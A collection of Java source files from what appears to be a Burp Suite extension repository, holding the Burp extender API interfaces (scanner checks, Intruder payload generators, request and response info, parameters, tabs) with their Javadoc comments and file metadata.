IScannerInsertionPointProvider provider); /** * This method is used to register a custom Scanner check. When performing * scanning, Burp will ask the check to perform active or passive scanning * on the base request, and report any Scanner issues that are identified. * * @param check An object created by the extension that implements the * <code>IScannerCheck</code> interface. */ void registerScannerCheck(IScannerCheck check); /** * This method is used to retrieve the Scanner checks that are registered by * the extension. * * @return A list of Scanner checks that are currently registered by this * extension. */ List<IScannerCheck> getScannerChecks(); /** * This method is used to remove a Scanner check that has been registered by * the extension. * * @param check The Scanner check to be removed. */ void removeScannerCheck(IScannerCheck check); /** * This method is used to register a factory for Intruder payloads. Each * registered factory will be available within the Intruder UI for the user * to select as the payload source for an attack. When this is selected, the * factory will be asked to provide a new instance of an * <code>IIntruderPayloadGenerator</code> object, which will be used to * generate payloads for the attack. * * @param factory An object created by the extension that implements the * <code>IIntruderPayloadGeneratorFactory</code> interface. */ void registerIntruderPayloadGeneratorFactory( IIntruderPayloadGeneratorFactory factory); /** * This method is used to retrieve the Intruder payload generator factories * that are registered by the extension. * * @return A list of Intruder payload generator factories that are currently * registered by this extension. */ List<IIntruderPayloadGeneratorFactory> getIntruderPayloadGeneratorFactories(); /** * This method is used to remove an Intruder payload generator factory that * has been registered by the extension. * * @param factory The Intruder payload generator factory to be removed. */ void removeIntruderPayloadGeneratorFactory( IIntruderPayloadGeneratorFactory factory); /** * This method is used to register a custom Intruder payload processor. Each * registered processor will be available within the Intruder UI for the * user to select as the action for a payload processing rule. * * @param processor An object created by the extension that implements the * <code>IIntruderPayloadProcessor</code> interface. */ void registerIntruderPayloadProcessor(IIntruderPayloadProcessor processor); /** * This method is used to retrieve the Intruder payload processors that are * registered by the extension. * * @return A list of Intruder payload processors that are currently * registered by this extension. */ List<IIntruderPayloadProcessor> getIntruderPayloadProcessors(); /** * This method is used to remove an Intruder payload processor that has been * registered by the extension. * * @param processor The Intruder payload processor to be removed. */ void removeIntruderPayloadProcessor(IIntruderPayloadProcessor processor); /** * This method is used to register a custom session handling action. Each * registered action will be available within the session handling rule UI * for the user to select as a rule action. Users can choose to invoke an * action directly in its own right, or following execution of a macro. * * @param action An object created by the extension that implements the * <code>ISessionHandlingAction</code> interface. */ void registerSessionHandlingAction(ISessionHandlingAction action); /** * This method is used to retrieve the session handling actions that are * registered by the extension. * * @return A list of session handling actions that are currently registered * by this extension. */ List<ISessionHandlingAction> getSessionHandlingActions(); /** * This method is used to remove a session handling action that has been * registered by the extension. * * @param action The extension session handling action to be removed. */ void removeSessionHandlingAction(ISessionHandlingAction action); /** * This method is used to unload the extension from Burp Suite. */ void unloadExtension(); /** * This method is used to add a custom tab to the main Burp Suite window. * * @param tab An object created by the extension that implements the * <code>ITab</code> interface. */ void addSuiteTab(ITab tab); /** * This method is used to remove a previously-added tab from the main Burp * Suite window. * * @param tab An object created by the extension that implements the * <code>ITab</code> interface. */ void removeSuiteTab(ITab tab); /** * This method is used to customize UI components in line with Burp's UI * style, including font size, colors, table line spacing, etc. The action * is performed recursively on any child components of the passed-in * component. * * @param component The UI component to be customized. */ void customizeUiComponent(Component component); /** * This method is used to create a new instance of Burp's HTTP message * editor, for the extension to use in its own UI. * * @param controller An object created by the extension that implements the * <code>IMessageEditorController</code> interface. This parameter is * optional and may be <code>null</code>. If it is provided, then the * message editor will query the controller when required to obtain details * about the currently displayed message, including the * <code>IHttpService</code> for the message, and the associated request or * response message. If a controller is not provided, then the message * editor will not support context menu actions, such as sending requests to * other Burp tools. * @param editable Indicates whether the editor created should be editable, * or used only for message viewing. * @return An object that implements the <code>IMessageEditor</code> * interface, and which the extension can use in its own UI. */ IMessageEditor createMessageEditor(IMessageEditorController controller, boolean editable); /** * This method returns the command line arguments that were passed to Burp * on startup. * * @return The command line arguments that were passed to Burp on startup. */ String[] getCommandLineArguments(); /** * This method is used to save configuration settings for the extension in a * persistent way that survives reloads of the extension and of Burp Suite. * Saved settings can be retrieved using the method * <code>loadExtensionSetting()</code>. * * @param name The name of the setting. * @param value The value of the setting. If this value is <code>null</code> * then any existing setting with the specified name will be removed. */ void saveExtensionSetting(String name, String value); /** * This method is used to load configuration settings for the extension that * were saved using the method <code>saveExtensionSetting()</code>. * * @param name The name of the setting. * @return The value of the setting, or <code>null</code> if no value is * set. */ String loadExtensionSetting(String name); /** * This method is used to create a new instance of Burp's plain text editor, * for the extension to use in its own UI. * * @return An object that implements the <code>ITextEditor</code> interface, * and which the extension can use in its own UI. */ ITextEditor createTextEditor(); /** * This method can be used to send an HTTP request to the Burp Repeater * tool. The request will be displayed in the user interface, but will not * be issued until the user initiates this action. * * @param host The hostname of the remote HTTP server. * @param port The port of the remote HTTP server. * @param useHttps Flags whether the protocol is HTTPS or HTTP. * @param request The full HTTP request. * @param tabCaption An optional caption which will appear on the Repeater * tab containing the request. If this value is <code>null</code> then a * default tab index will be displayed. */ void sendToRepeater( String host, int port, boolean useHttps, byte[] request, String tabCaption); /** * This method can be used to send an HTTP request to the Burp Intruder * tool. The request will be displayed in the user interface, and markers * for attack payloads will be placed into default locations within the * request. * * @param host The hostname of the remote HTTP server. * @param port The port of the remote HTTP server. * @param useHttps Flags whether the protocol is HTTPS or HTTP. * @param request The full HTTP request. */ void sendToIntruder( String host, int port, boolean useHttps, byte[] request); /** * This method can be used to send an HTTP request to the Burp Intruder * tool. The request will be displayed in the user interface, and markers * for attack payloads will be placed into the specified locations within * the request. * * @param host The hostname of the remote HTTP server. * @param port The port of the remote HTTP server. * @param useHttps Flags whether the protocol is HTTPS or HTTP. * @param request The full HTTP request. * @param payloadPositionOffsets A list of index pairs representing the * payload positions to be used. Each item in the list must be an int[2] * array containing the start and end offsets for the payload position. */ void sendToIntruder( String host, int port, boolean useHttps, byte[] request, List<int[]> payloadPositionOffsets); /** * This method can be used to send data to the Comparer tool. * * @param data The data to be sent to Comparer. */ void sendToComparer(byte[] data); /** * This method can be used to send a seed URL to the Burp Spider tool. If * the URL is not within the current Spider scope, the user will be asked if * they wish to add the URL to the scope. If the Spider is not currently * running, it will be started. The seed URL will be requested, and the * Spider will process the application's response in the normal way. * * @param url The new seed URL to begin spidering from. */ void sendToSpider( java.net.URL url); /** * This method can be used to send an HTTP request to the Burp Scanner tool * to perform an active vulnerability scan. If the request is not within the * current active scanning scope, the user will be asked if they wish to * proceed with the scan. * * @param host The hostname of the remote HTTP server. * @param port The port of the remote HTTP server. * @param useHttps Flags whether the protocol is HTTPS or HTTP. * @param request The full HTTP request. * @return The resulting scan queue item. */ IScanQueueItem doActiveScan( String host, int port, boolean useHttps, byte[] request); /** * This method can be used to send an HTTP request to the Burp Scanner tool * to perform an active vulnerability scan, based on a custom list of * insertion points that are to be scanned. If the request is not within the * current active scanning scope, the user will be asked if they wish to * proceed with the scan. * * @param host The hostname of the remote HTTP server. * @param port The port of the remote HTTP server. * @param useHttps Flags whether the protocol is HTTPS or HTTP. * @param request The full HTTP request. * @param insertionPointOffsets A list of index pairs representing the * positions of the insertion points that should be scanned. Each item in * the list must be an int[2] array containing the start and end offsets for * the insertion point. * @return The resulting scan queue item. */ IScanQueueItem doActiveScan( String host, int port, boolean useHttps, byte[] request, List<int[]> insertionPointOffsets); /** * This method can be used to send an HTTP request to the Burp Scanner tool * to perform a passive vulnerability scan. * * @param host The hostname of the remote HTTP server. * @param port The port of the remote HTTP server. * @param useHttps Flags whether the protocol is HTTPS or HTTP. * @param request The full HTTP request. * @param response The full HTTP response. */ void doPassiveScan( String host, int port, boolean useHttps, byte[] request, byte[] response); /** * This method can be used to issue HTTP requests and retrieve their * responses. * * @param httpService The HTTP service to which the request should be sent. * @param request The full HTTP request. * @return An object that implements the <code>IHttpRequestResponse</code> * interface, and which the extension can query to obtain the details of the * response. */ IHttpRequestResponse makeHttpRequest(IHttpService httpService, byte[] request); /** * This method can be used to issue HTTP requests and retrieve their * responses. * * @param host The hostname of the remote HTTP server. * @param port The port of the remote HTTP server. * @param useHttps Flags whether the protocol is HTTPS or HTTP. * @param request The full HTTP request. * @return The full response retrieved from the remote server. */ byte[] makeHttpRequest( String host, int port, boolean useHttps, byte[] request); /** * This method can be used to query whether a specified URL is within the * current Suite-wide scope. * * @param url The URL to query. * @return Returns <code>true</code> if the URL is within the current * Suite-wide scope. */ boolean isInScope(java.net.URL url); /** * This method can be used to include the specified URL in the Suite-wide * scope. * * @param url The URL to include in the Suite-wide scope. */ void includeInScope(java.net.URL url); /** * This method can be used to exclude the specified URL from the Suite-wide * scope. * * @param url The URL to exclude from the Suite-wide scope. */ void excludeFromScope(java.net.URL url); /** * This method can be used to display a specified message in the Burp Suite * alerts tab. * * @param message The alert message to display. */ void issueAlert(String message); /** * This method returns details of all items in the Proxy history. * * @return The contents of the Proxy history. */ IHttpRequestResponse[] getProxyHistory(); /** * This method returns details of items in the site map. * * @param urlPrefix This parameter can be used to specify a URL prefix, in * order to extract a specific subset of the site map. The method performs a * simple case-sensitive text match, returning all site map items whose URL * begins with the specified prefix. If this parameter is null, the entire * site map is returned. * * @return Details of items in the site map. */ IHttpRequestResponse[] getSiteMap(String urlPrefix); /** * This method returns all of the current scan issues for URLs matching the * specified literal prefix. * * @param urlPrefix This parameter can be used to specify a URL prefix, in * order to extract a specific subset of scan issues. The method performs a * simple case-sensitive text match, returning all scan issues whose URL * begins with the specified prefix. If this parameter is null, all issues * are returned. * @return Details of the scan issues. */ IScanIssue[] getScanIssues(String urlPrefix); /** * This method is used to generate a report for the specified Scanner * issues. The report format can be specified. For all other reporting * options, the default settings that appear in the reporting UI wizard are * used. * * @param format The format to be used in the report. Accepted values are * HTML and XML. * @param issues The Scanner issues to be reported. * @param file The file to which the report will be saved. */ void generateScanReport(String format, IScanIssue[] issues, java.io.File file); /** * This method is used to retrieve the contents of Burp's session handling * cookie jar. Extensions that provide an * <code>ISessionHandlingAction</code> can query and update the cookie jar * in order to handle unusual session handling mechanisms. * * @return A list of <code>ICookie</code> objects representing the contents * of Burp's session handling cookie jar. */ List<ICookie> getCookieJarContents(); /** * This method is used to update the contents of Burp's session handling * cookie jar. Extensions that provide an * <code>ISessionHandlingAction</code> can query and update the cookie jar * in order to handle unusual session handling mechanisms. * * @param cookie An <code>ICookie</code> object containing details of the * cookie to be updated. If the cookie jar already contains a cookie that * matches the specified domain and name, then that cookie will be updated * with the new value and expiration, unless the new value is * <code>null</code>, in which case the cookie will be removed. If the * cookie jar does not already contain a cookie that matches the specified * domain and name, then the cookie will be added. */ void updateCookieJar(ICookie cookie); /** * This method can be used to add an item to Burp's site map with the * specified request/response details. This will overwrite the details of * any existing matching item in the site map. * * @param item Details of the item to be added to the site map */ void addToSiteMap(IHttpRequestResponse item); /** * This method can be used to restore Burp's state from a specified saved * state file. This method blocks until the restore operation is completed, * and must not be called from the event dispatch thread. * * @param file The file containing Burp's saved state. * @deprecated State files have been replaced with Burp project files. */ @Deprecated void restoreState(java.io.File file); /** * This method can be used to save Burp's state to a specified file. This * method blocks until the save operation is completed, and must not be * called from the event dispatch thread. * * @param file The file to save Burp's state in. * @deprecated State files have been replaced with Burp project files. */ @Deprecated void saveState(java.io.File file); /** * This method causes Burp to save all of its current configuration as a Map * of name/value Strings. * * @return A Map of name/value Strings reflecting Burp's current * configuration. * @deprecated Use <code>saveConfigAsJson()</code> instead. */ @Deprecated Map<String, String> saveConfig(); /**
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
true
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IScanIssue.java
src/main/java/burp/IScanIssue.java
package burp; /* * @(#)IScanIssue.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * This interface is used to retrieve details of Scanner issues. Extensions can * obtain details of issues by registering an <code>IScannerListener</code> or * by calling <code>IBurpExtenderCallbacks.getScanIssues()</code>. Extensions * can also add custom Scanner issues by registering an * <code>IScannerCheck</code> or calling * <code>IBurpExtenderCallbacks.addScanIssue()</code>, and providing their own * implementations of this interface. Note that issue descriptions and other * text generated by extensions are subject to an HTML whitelist that allows * only formatting tags and simple hyperlinks. */ public interface IScanIssue { /** * This method returns the URL for which the issue was generated. * * @return The URL for which the issue was generated. */ java.net.URL getUrl(); /** * This method returns the name of the issue type. * * @return The name of the issue type (e.g. "SQL injection"). */ String getIssueName(); /** * This method returns a numeric identifier of the issue type. See the Burp * Scanner help documentation for a listing of all the issue types. * * @return A numeric identifier of the issue type. */ int getIssueType(); /** * This method returns the issue severity level. * * @return The issue severity level. Expected values are "High", "Medium", * "Low", "Information" or "False positive". * */ String getSeverity(); /** * This method returns the issue confidence level. * * @return The issue confidence level. Expected values are "Certain", "Firm" * or "Tentative". */ String getConfidence(); /** * This method returns a background description for this type of issue. * * @return A background description for this type of issue, or * <code>null</code> if none applies. A limited set of HTML tags may be * used. */ String getIssueBackground(); /** * This method returns a background description of the remediation for this * type of issue. * * @return A background description of the remediation for this type of * issue, or <code>null</code> if none applies. A limited set of HTML tags * may be used. */ String getRemediationBackground(); /** * This method returns detailed information about this specific instance of * the issue. * * @return Detailed information about this specific instance of the issue, * or <code>null</code> if none applies. A limited set of HTML tags may be * used. */ String getIssueDetail(); /** * This method returns detailed information about the remediation for this * specific instance of the issue. * * @return Detailed information about the remediation for this specific * instance of the issue, or <code>null</code> if none applies. A limited * set of HTML tags may be used. */ String getRemediationDetail(); /** * This method returns the HTTP messages on the basis of which the issue was * generated. * * @return The HTTP messages on the basis of which the issue was generated. * <b>Note:</b> The items in this array should be instances of * <code>IHttpRequestResponseWithMarkers</code> if applicable, so that * details of the relevant portions of the request and response messages are * available. */ IHttpRequestResponse[] getHttpMessages(); /** * This method returns the HTTP service for which the issue was generated. * * @return The HTTP service for which the issue was generated. */ IHttpService getHttpService(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IRequestInfo.java
src/main/java/burp/IRequestInfo.java
package burp; /* * @(#)IRequestInfo.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.net.URL; import java.util.List; /** * This interface is used to retrieve key details about an HTTP request. * Extensions can obtain an * <code>IRequestInfo</code> object for a given request by calling * <code>IExtensionHelpers.analyzeRequest()</code>. */ public interface IRequestInfo { /** * Used to indicate that there is no content. */ static final byte CONTENT_TYPE_NONE = 0; /** * Used to indicate URL-encoded content. */ static final byte CONTENT_TYPE_URL_ENCODED = 1; /** * Used to indicate multi-part content. */ static final byte CONTENT_TYPE_MULTIPART = 2; /** * Used to indicate XML content. */ static final byte CONTENT_TYPE_XML = 3; /** * Used to indicate JSON content. */ static final byte CONTENT_TYPE_JSON = 4; /** * Used to indicate AMF content. */ static final byte CONTENT_TYPE_AMF = 5; /** * Used to indicate unknown content. */ static final byte CONTENT_TYPE_UNKNOWN = -1; /** * This method is used to obtain the HTTP method used in the request. * * @return The HTTP method used in the request. */ String getMethod(); /** * This method is used to obtain the URL in the request. * * @return The URL in the request. */ URL getUrl(); /** * This method is used to obtain the HTTP headers contained in the request. * * @return The HTTP headers contained in the request. */ List<String> getHeaders(); /** * This method is used to obtain the parameters contained in the request. * * @return The parameters contained in the request. */ List<IParameter> getParameters(); /** * This method is used to obtain the offset within the request where the * message body begins. * * @return The offset within the request where the message body begins. */ int getBodyOffset(); /** * This method is used to obtain the content type of the message body. * * @return An indication of the content type of the message body. Available * types are defined within this interface. */ byte getContentType(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IResponseVariations.java
src/main/java/burp/IResponseVariations.java
package burp; /* * @(#)IResponseVariations.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.util.List; /** * This interface is used to represent variations between a number HTTP * responses, according to various attributes. */ public interface IResponseVariations { /** * This method is used to obtain the list of attributes that vary between * the analyzed responses. * * @return The attributes that vary between the analyzed responses. */ List<String> getVariantAttributes(); /** * This method is used to obtain the list of attributes that do not vary * between the analyzed responses. * * @return The attributes that do not vary between the analyzed responses. */ List<String> getInvariantAttributes(); /** * This method is used to obtain the value of an individual attribute in a * response. Note that the values of some attributes are intrinsically * meaningful (e.g. a word count) while the values of others are less so * (e.g. a checksum of the HTML tag names). * * @param attributeName The name of the attribute whose value will be * retrieved. Extension authors can obtain the list of supported attributes * by generating an <code>IResponseVariations</code> object for a single * response and calling * <code>IResponseVariations.getInvariantAttributes()</code>. * @param responseIndex The index of the response. Note that responses are * indexed from zero in the order they were originally supplied to the * <code>IExtensionHelpers.analyzeResponseVariations()</code> and * <code>IResponseVariations.updateWith()</code> methods. * @return The value of the specified attribute for the specified response. */ int getAttributeValue(String attributeName, int responseIndex); /** * This method is used to update the analysis based on additional responses. * * @param responses The new responses to include in the analysis. */ void updateWith(byte[]... responses); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IResponseInfo.java
src/main/java/burp/IResponseInfo.java
package burp; /* * @(#)IResponseInfo.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.util.List; /** * This interface is used to retrieve key details about an HTTP response. * Extensions can obtain an * <code>IResponseInfo</code> object for a given response by calling * <code>IExtensionHelpers.analyzeResponse()</code>. */ public interface IResponseInfo { /** * This method is used to obtain the HTTP headers contained in the response. * * @return The HTTP headers contained in the response. */ List<String> getHeaders(); /** * This method is used to obtain the offset within the response where the * message body begins. * * @return The offset within the response where the message body begins. */ int getBodyOffset(); /** * This method is used to obtain the HTTP status code contained in the * response. * * @return The HTTP status code contained in the response. */ short getStatusCode(); /** * This method is used to obtain details of the HTTP cookies set in the * response. * * @return A list of <code>ICookie</code> objects representing the cookies * set in the response, if any. */ List<ICookie> getCookies(); /** * This method is used to obtain the MIME type of the response, as stated in * the HTTP headers. * * @return A textual label for the stated MIME type, or an empty String if * this is not known or recognized. The possible labels are the same as * those used in the main Burp UI. */ String getStatedMimeType(); /** * This method is used to obtain the MIME type of the response, as inferred * from the contents of the HTTP message body. * * @return A textual label for the inferred MIME type, or an empty String if * this is not known or recognized. The possible labels are the same as * those used in the main Burp UI. */ String getInferredMimeType(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IParameter.java
src/main/java/burp/IParameter.java
package burp; /* * @(#)IParameter.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * This interface is used to hold details about an HTTP request parameter. */ public interface IParameter { /** * Used to indicate a parameter within the URL query string. */ static final byte PARAM_URL = 0; /** * Used to indicate a parameter within the message body. */ static final byte PARAM_BODY = 1; /** * Used to indicate an HTTP cookie. */ static final byte PARAM_COOKIE = 2; /** * Used to indicate an item of data within an XML structure. */ static final byte PARAM_XML = 3; /** * Used to indicate the value of a tag attribute within an XML structure. */ static final byte PARAM_XML_ATTR = 4; /** * Used to indicate the value of a parameter attribute within a multi-part * message body (such as the name of an uploaded file). */ static final byte PARAM_MULTIPART_ATTR = 5; /** * Used to indicate an item of data within a JSON structure. */ static final byte PARAM_JSON = 6; /** * This method is used to retrieve the parameter type. * * @return The parameter type. The available types are defined within this * interface. */ byte getType(); /** * This method is used to retrieve the parameter name. * * @return The parameter name. */ String getName(); /** * This method is used to retrieve the parameter value. * * @return The parameter value. */ String getValue(); /** * This method is used to retrieve the start offset of the parameter name * within the HTTP request. * * @return The start offset of the parameter name within the HTTP request, * or -1 if the parameter is not associated with a specific request. */ int getNameStart(); /** * This method is used to retrieve the end offset of the parameter name * within the HTTP request. * * @return The end offset of the parameter name within the HTTP request, or * -1 if the parameter is not associated with a specific request. */ int getNameEnd(); /** * This method is used to retrieve the start offset of the parameter value * within the HTTP request. * * @return The start offset of the parameter value within the HTTP request, * or -1 if the parameter is not associated with a specific request. */ int getValueStart(); /** * This method is used to retrieve the end offset of the parameter value * within the HTTP request. * * @return The end offset of the parameter value within the HTTP request, or * -1 if the parameter is not associated with a specific request. */ int getValueEnd(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IContextMenuFactory.java
src/main/java/burp/IContextMenuFactory.java
package burp; /* * @(#)IContextMenuFactory.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import javax.swing.JMenuItem; import java.util.List; /** * Extensions can implement this interface and then call * <code>IBurpExtenderCallbacks.registerContextMenuFactory()</code> to register * a factory for custom context menu items. */ public interface IContextMenuFactory { /** * This method will be called by Burp when the user invokes a context menu * anywhere within Burp. The factory can then provide any custom context * menu items that should be displayed in the context menu, based on the * details of the menu invocation. * * @param invocation An object that implements the * <code>IMessageEditorTabFactory</code> interface, which the extension can * query to obtain details of the context menu invocation. * @return A list of custom menu items (which may include sub-menus, * checkbox menu items, etc.) that should be displayed. Extensions may * return * <code>null</code> from this method, to indicate that no menu items are * required. */ List<JMenuItem> createMenuItems(IContextMenuInvocation invocation); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/ITab.java
src/main/java/burp/ITab.java
package burp; /* * @(#)ITab.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.awt.Component; /** * This interface is used to provide Burp with details of a custom tab that will * be added to Burp's UI, using a method such as * <code>IBurpExtenderCallbacks.addSuiteTab()</code>. */ public interface ITab { /** * Burp uses this method to obtain the caption that should appear on the * custom tab when it is displayed. * * @return The caption that should appear on the custom tab when it is * displayed. */ String getTabCaption(); /** * Burp uses this method to obtain the component that should be used as the * contents of the custom tab when it is displayed. * * @return The component that should be used as the contents of the custom * tab when it is displayed. */ Component getUiComponent(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IResponseKeywords.java
src/main/java/burp/IResponseKeywords.java
package burp; /* * @(#)IResponseKeywords.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.util.List; /** * This interface is used to represent the counts of keywords appearing in a * number of HTTP responses. */ public interface IResponseKeywords { /** * This method is used to obtain the list of keywords whose counts vary * between the analyzed responses. * * @return The keywords whose counts vary between the analyzed responses. */ List<String> getVariantKeywords(); /** * This method is used to obtain the list of keywords whose counts do not * vary between the analyzed responses. * * @return The keywords whose counts do not vary between the analyzed * responses. */ List<String> getInvariantKeywords(); /** * This method is used to obtain the number of occurrences of an individual * keyword in a response. * * @param keyword The keyword whose count will be retrieved. * @param responseIndex The index of the response. Note responses are * indexed from zero in the order they were originally supplied to the * <code>IExtensionHelpers.analyzeResponseKeywords()</code> and * <code>IResponseKeywords.updateWith()</code> methods. * @return The number of occurrences of the specified keyword for the * specified response. */ int getKeywordCount(String keyword, int responseIndex); /** * This method is used to update the analysis based on additional responses. * * @param responses The new responses to include in the analysis. */ void updateWith(byte[]... responses); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IHttpService.java
src/main/java/burp/IHttpService.java
package burp; /* * @(#)IHttpService.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * This interface is used to provide details about an HTTP service, to which * HTTP requests can be sent. */ public interface IHttpService { /** * This method returns the hostname or IP address for the service. * * @return The hostname or IP address for the service. */ String getHost(); /** * This method returns the port number for the service. * * @return The port number for the service. */ int getPort(); /** * This method returns the protocol for the service. * * @return The protocol for the service. Expected values are "http" or * "https". */ String getProtocol(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IScannerInsertionPointProvider.java
src/main/java/burp/IScannerInsertionPointProvider.java
package burp; /* * @(#)IScannerInsertionPointProvider.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.util.List; /** * Extensions can implement this interface and then call * <code>IBurpExtenderCallbacks.registerScannerInsertionPointProvider()</code> * to register a factory for custom Scanner insertion points. */ public interface IScannerInsertionPointProvider { /** * When a request is actively scanned, the Scanner will invoke this method, * and the provider should provide a list of custom insertion points that * will be used in the scan. <b>Note:</b> these insertion points are used in * addition to those that are derived from Burp Scanner's configuration, and * those provided by any other Burp extensions. * * @param baseRequestResponse The base request that will be actively * scanned. * @return A list of * <code>IScannerInsertionPoint</code> objects that should be used in the * scanning, or * <code>null</code> if no custom insertion points are applicable for this * request. */ List<IScannerInsertionPoint> getInsertionPoints( IHttpRequestResponse baseRequestResponse); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IScannerCheck.java
src/main/java/burp/IScannerCheck.java
package burp; /* * @(#)IScannerCheck.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.util.List; /** * Extensions can implement this interface and then call * <code>IBurpExtenderCallbacks.registerScannerCheck()</code> to register a * custom Scanner check. When performing scanning, Burp will ask the check to * perform active or passive scanning on the base request, and report any * Scanner issues that are identified. */ public interface IScannerCheck { /** * The Scanner invokes this method for each base request / response that is * passively scanned. <b>Note:</b> Extensions should only analyze the * HTTP messages provided during passive scanning, and should not make any * new HTTP requests of their own. * * @param baseRequestResponse The base HTTP request / response that should * be passively scanned. * @return A list of <code>IScanIssue</code> objects, or <code>null</code> * if no issues are identified. */ List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse); /** * The Scanner invokes this method for each insertion point that is actively * scanned. Extensions may issue HTTP requests as required to carry out * active scanning, and should use the * <code>IScannerInsertionPoint</code> object provided to build scan * requests for particular payloads. * <b>Note:</b> * Scan checks should submit raw non-encoded payloads to insertion points, * and the insertion point has responsibility for performing any data * encoding that is necessary given the nature and location of the insertion * point. * * @param baseRequestResponse The base HTTP request / response that should * be actively scanned. * @param insertionPoint An <code>IScannerInsertionPoint</code> object that * can be queried to obtain details of the insertion point being tested, and * can be used to build scan requests for particular payloads. * @return A list of <code>IScanIssue</code> objects, or <code>null</code> * if no issues are identified. */ List<IScanIssue> doActiveScan( IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint); /** * The Scanner invokes this method when the custom Scanner check has * reported multiple issues for the same URL path. This can arise either * because there are multiple distinct vulnerabilities, or because the same * (or a similar) request has been scanned more than once. The custom check * should determine whether the issues are duplicates. In most cases, where * a check uses distinct issue names or descriptions for distinct issues, * the consolidation process will simply be a matter of comparing these * features for the two issues. * * @param existingIssue An issue that was previously reported by this * Scanner check. * @param newIssue An issue at the same URL path that has been newly * reported by this Scanner check. * @return An indication of which issue(s) should be reported in the main * Scanner results. The method should return <code>-1</code> to report the * existing issue only, <code>0</code> to report both issues, and * <code>1</code> to report the new issue only. */ int consolidateDuplicateIssues( IScanIssue existingIssue, IScanIssue newIssue); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IHttpRequestResponse.java
